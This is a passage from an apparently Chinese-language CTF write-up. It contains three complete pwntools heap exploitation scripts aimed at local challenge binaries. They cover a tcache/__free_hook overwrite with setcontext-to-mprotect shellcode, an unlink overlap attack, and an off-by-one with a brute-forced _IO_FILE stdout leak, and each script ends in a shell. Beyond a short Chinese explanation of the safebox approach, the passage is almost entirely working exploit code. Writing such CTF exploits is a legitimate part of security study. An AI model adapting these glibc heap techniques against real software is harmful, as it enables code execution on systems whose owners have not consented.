mov edx, eax;
mov rsi, rsp;
mov edi, 1;
mov eax, edi;
syscall;
''')

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def new(size:int, content):
    menu(1)
    p.recvuntil(b"Size: \n")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content: \n")
    p.send(content)

def delete(idx):
    menu(2)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())

def show(idx):
    menu(3)
    p.recvuntil(b"Index: \n")
    p.sendline(str(idx).encode())    

def exp():
    # leak heap
    new(0x10, b"AAAA") #0
    new(0x10, b"AAAA") #1
    delete(1)
    delete(0)
    show(1)
    tmp = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    show(0)
    low_b = p.recvuntil(b"\n", drop=True)
    new(0x10, b"AAA") #2
    show(2)
    p.recvuntil(b"AAA")
    high_b = p.recvuntil(b"\n", drop=True)
    ptr = u64((low_b + b"\x00" + high_b).ljust(8, b"\x00"))
    heap_leak = ptr^tmp
    heap_base = heap_leak - 0x2c0
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))

    # leak libc
    for i in range(7):
        new(0x100, b"tcache") #3-9
    new(0x100, b"unsorted") #10 *
    new(0x20, b"split") #11
    for i in range(7):
        delete(i+3)
    delete(10)
    show(10)
    new(0x20, b"A") #12*
    show(12)
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))-u8(b"A")
    libc_base = libc_leak - 352 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    setcontext = libc_base + libc.symbols[b"setcontext"]
    mprotect = libc_base + libc.symbols[b"mprotect"]
    before_setcontext_gadget = libc_base + 0x124990
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("free_hook:", hex(free_hook))
    print("setcontext:", hex(setcontext))

    # attack __free_hook
    # ropper --file ./libc-2.31.so --search "mov rdx" | grep rdi
    # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
    new(0xd0, b"BBBB") #13 clean unsorted bin
    for i in range(7):
        new(0x80, b"tcache") #14-20
    new(0x80, b"unsorted2") #21
    new(0x80, b"unsorted3") #22
    new(0x20, b"split") #23
    for i in range(7):
        delete(i+14)
    delete(21)
    delete(22) #overlapping
    new(0x80, b"CCCC") #24
    new(0xb0, b"PART1") #25 *overlapping
    new(0x50, p64(0)) #26

    delete(22)
    delete(25)
    new(0xb0, b"A"*0x80+p64(0)+p64(0x90)+p64(((heap_base+0x1010)>>12)^free_hook)) #27 build fake chain

    new(0x80, b"tmp") #28
    new(0x80, p64(before_setcontext_gadget)) #29 rewrite free hook
    print("free_hook:", hex(free_hook))

    # gadget->setcontext->orw
    frame = SigreturnFrame()
    frame.rip = mprotect
    frame.rdi = heap_base
    frame.rsi = 0x2000
    frame.rdx = 7
    frame.rsp = heap_base+0x10d0
    _ = list(frame.values())
    _[4] = setcontext+53 # qword [rdx+0x20]
    _[1] = heap_base+0x11d0 # qword [rdi+8]
    #print(len(flat(_)))
    new(0xf8, p64(heap_base+0x10d0+8)+shellcode) #30 shellcode +0x10d0
    new(0xf8, flat(_)) #31 fake frame +0x11d0

    gdb.attach(p, "b *0x7ffff7d2b990\nc\n")
    #gdb.attach(p)

    delete(31)
    p.interactive()

if __name__ == "__main__":
    exp()

babybabybabyheap

常规unlink

from pwn import *

p = process(["./pwn"], env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
context.log_level = "debug"

def menu(choice:int):
    p.recvuntil(b">> ")
    p.sendline(str(choice).encode())

def add(idx:int, size:int, content=b"", exit:bool=False):
    menu(1)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"size?\n", str(size).encode()+b"\n")
    if not exit:
        p.sendafter(b"content?\n", content)

def show(idx:int):
    menu(2)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def delete(idx:int):
    menu(3)
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")

def exit(yon:str='y'):
    menu(4)
    p.sendafter(b"Sure to exit?(y/n)\n", yon)

def secret(idx:int, content):
    exit('n')
    p.sendafter(b"index?\n", str(idx).encode()+b"\n")
    p.sendafter(b"content?\n", content)

def exp():
    p.recvuntil(b"gift: ")
    puts = int(p.recvuntil(b"\n", drop=True).decode(), 16)
    libc_base = puts - libc.symbols[b"puts"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("puts:", hex(puts))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("free_hook:", hex(free_hook))

    for i in range(7):
        add(i, 0x1f0, b"tcache")
    add(7, 0x108, p64(0) + p64(0x191) + p64(0x404178-0x18) + p64(0x404178-0x10))
    add(8, 0x88, b"AAAAA")
    add(9, 0x1f0, b"AAAAA")
    add(10, 0x108, b"split")
    for i in range(7):
        delete(i)
    add(0, 0x80, b"AAAA")# add tcache count
    delete(0)

    secret(8, b"A"*0x80 + p64(0x190))

    delete(9)

    # overlapping

    delete(8)

    add(11, 0x180, b"B"*0xf0 + p64(0) + p64(0x91) + p64(free_hook))

    # get free hook
    add(12, 0x80, b"AAAA")
    add(13, 0x80, p64(system))
    print("free_hook:", hex(free_hook))

    add(14, 0x90, b"/bin/sh\x00")
    delete(14)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

safebox

题目文件

pwn

libc.so

分析

这个题感觉挺经典的,分配堆时存在一字节溢出。且只能在分配时写入,不能修改,不能打印堆块内容。

整理一下大致的思路,因为需要写malloc_hook或者free_hook,可以尝试先利用_IO_FILE_stdout泄露地址。既然需要泄露地址那就需要构造unsortedbin和伪造tcache(这里是难点)。主要构造方式参考了sad师傅的思路:利用unlink的方式将四个堆块构造成overlapping,合并成一个大的unsortedbin,同时保留中间两个堆块的指针以便在后续步骤中释放被覆盖的堆块,使其进入tcache,这样堆块上如果有stdout的地址就可以通过两次malloc进行修改_IO_FILE_stdout。还有一个问题就是如何进行部分写构造出stdout的地址?其实很简单,只要从构造出的大unsortedbin中切割一部分,让剩下的部分对齐之前保留的指针,然后再次申请malloc(1)就可以写unsorted_arena低二字节,进行爆破。

整理如下:

  • 构造4个块的overlapping(unlink);
  • 释放被覆盖堆块、切割unsortedbin、部分写伪造tcache;
  • stdout泄露libc;
  • 同第二步类似写freehook为system函数地址;
  • 最后,向一个堆块写入/bin/sh并将其释放即可.

注意本题one_gadget的各种利用方式都失效了,更改为用free_hook的方式

爆破脚本

环境:ubuntu18.04 libc2.27 python3

适合本地复现用,原题线上环境拿shell后需要输入token,有些区别

from pwn import *
import sys

context.log_level = "debug"

def add(idx:int, length:int, content):
    p.recvuntil(b">>>")
    p.sendline(b"1")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"len:")
    p.sendline(str(length).encode())
    p.recvuntil(b"content:")
    p.send(content)

def delete(idx:int):
    p.recvuntil(b">>>")
    p.sendline(b"2")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())

def exit():
    p.recvuntil(b">>>")
    p.sendline(b"3")

def exp():
    global p 
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
    # make unsortedbin for unlink
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ## unlink header
    add(7, 0xf8, b"idx7") #idx7
    ## keep ptr
    add(8, 0x88, b"idx8") #idx8
    add(9, 0x98, b"idx9") #idx9
    add(10, 0xf8, b"idx10") #idx10
    add(11, 0x10, b"pppp");
    for i in range(7):
        delete(i) # del idx:1-6
    delete(7)
    delete(9)
    payload1 = b"a"*0x90 + p64(0x90+0xa0+0x100) + b"\x00"
    add(9, 0x98, payload1) #idx9
    delete(10)
    #gdb.attach(p)
    # remalloc, UAF, fake tcache
    ## remalloc for UAF
    ## we have kept ptr: idx8, idx9 , and so we can make 2 fake tcaches
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ### partial free
    delete(8)
    add(7, 0xf8, b"idx7") #idx7
    add(8, 0x1, b"\x60\xc7") #idx8
    ### attack _IO_FILE_stdout
    add(12, 0x88, b"idx12") #idx12
    #gdb.attach(p)
    payload2 = p64(0xfbad1800) + p64(0)*3 + b"\n"
    add(12, 0x88, payload2)
    ### leak libc_base
    p.recvn(23, timeout=1)
    leak = u64(p.recvn(8, timeout=1))
    libc_base = leak - 0x3eb780
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    #one = libc_base + 0x10a38c
    one = libc_base + libc.symbols[b"system"]
    print("leak:",hex(leak))
    print("libc_base:",hex(libc_base))
    print("malloc_hook:",hex(malloc_hook))
    print("free_hook:",hex(free_hook))
    print("one:",hex(one))

    # write malloc_hook
    delete(9)
    add(13, 0x68, b"idx13") #idx13
    payload3 = p64(free_hook)
    add(13, 0x8, payload3) #idx13
    add(13, 0x98, b"idx13") #idx13
    add(13, 0x98, p64(one)) #idx13
    #gdb.attach(p)
    ## go one_gadget
    add(15, 0x30, b"/bin/sh\x00")
    delete(15)
    p.sendline("ls")
    ret = p.recv()
    if b"flag" in ret:
        p.sendline("cat flag")
        print(p.recv())
        print("SUCCESS")
        sys.exit(0)
    else:
        print("NOT SUCCESS")
        p.close()

if __name__ == "__main__":
    while True:
        try:
            exp()
        except Exception as e:
            print("ERROR:",str(e))
            p.close()